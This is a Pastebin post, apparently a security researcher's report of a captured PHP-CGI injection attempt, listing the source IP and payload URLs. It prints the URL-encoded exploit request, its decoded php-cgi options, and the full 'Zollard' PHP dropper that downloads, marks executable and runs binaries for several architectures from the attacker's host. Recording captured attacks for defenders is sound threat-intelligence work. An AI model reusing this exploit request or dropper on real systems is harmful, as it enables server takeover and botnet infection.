Advertisement
Neonprimetime

PHP Injection Attempt: 182.52.55.184

Feb 2nd, 2015
310
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.05 KB | None | 0 0
  1. PHP Injection Attempt
  2. Reported by neonprimetime security
  3. http://neonprimetime.blogspot.com
  4.  
  5. ****
  6.  
  7. Source IP: 182.52.55.184
  8.  
  9. Payloads:
  10.     http://182.52.55.184:58455/armeabi
  11.     http://182.52.55.184:58455/arm
  12.     http://182.52.55.184:58455/ppc
  13.     http://182.52.55.184:58455/mips
  14.     http://182.52.55.184:58455/mipsel
  15.     http://182.52.55.184:58455/x86
  16.     http://182.52.55.184:58455/nodes
  17.     http://182.52.55.184:58455/sig
  18.  
  19. ****
  20.  
  21.         POST /cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E
  22.  
  23. ***
  24.  
  25. decoded
  26.  
  27. -d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n
  28.  
  29.  
  30. *****
  31.  
  32. Content
  33.         <?php
  34. echo "Zollard";
  35. $disablefunc = @ini_get("disable_functions");
  36. if (!empty($disablefunc))
  37. {
  38.  $disablefunc = str_replace(" ","",$disablefunc);
  39.  $disablefunc = explode(",",$disablefunc);
  40. }
  41. function myshellexec($cmd)
  42. {
  43.  global $disablefunc;
  44.  $result = "";
  45.  if (!empty($cmd))
  46.  {
  47.   if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);}
  48.   elseif (($result = `$cmd`) !== FALSE) {}
  49.   elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents
  50.         (); @ob_clean(); echo $v;}
  51.   elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;}
  52.   elseif (is_resource($fp = popen($cmd,"r")))
  53.   {
  54.    $result = "";
  55.    while(!feof($fp)) {$result .= fread($fp,1024);}
  56.    pclose($fp);
  57.   }
  58.  }
  59.  return $result;
  60. }
  61. myshellexec("rm -rf /tmp/armeabi;wget -P /tmp http://182.52.55.184:58455/armeabi;chmod +x /tmp/armeabi");
  62. myshellexec("rm -rf /tmp/arm;wget -P /tmp http://182.52.55.184:58455/arm;chmod +x /tmp/arm");
  63. myshellexec("rm -rf /tmp/ppc;wget -P /tmp http://182.52.55.184:58455/ppc;chmod +x /tmp/ppc");
  64. myshellexec("rm -rf /tmp/mips;wget -P /tmp http://182.52.55.184:58455/mips;chmod +x /tmp/mips");
  65. myshellexec("rm -rf /tmp/mipsel;wget -P /tmp http://182.52.55.184:58455/mipsel;chmod +x /tmp/mipsel");
  66. myshellexec("rm -rf /tmp/x86;wget -P /tmp http://182.52.55.184:58455/x86;chmod +x /tmp/x86");
  67. myshellexec("rm -rf /tmp/nodes;wget -P /tmp http://182.52.55.184:58455/nodes;chmod +x /tmp/nodes");
  68. myshellexec("rm -rf /tmp/sig;wget -P /tmp http://182.52.55.184:58455/sig;chmod +x /tmp/sig");
  69. myshellexec("/tmp/armeabi;/tmp/arm;/tmp/ppc;/tmp/mips;/tmp/mipsel;/tmp/x86;");
  70. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement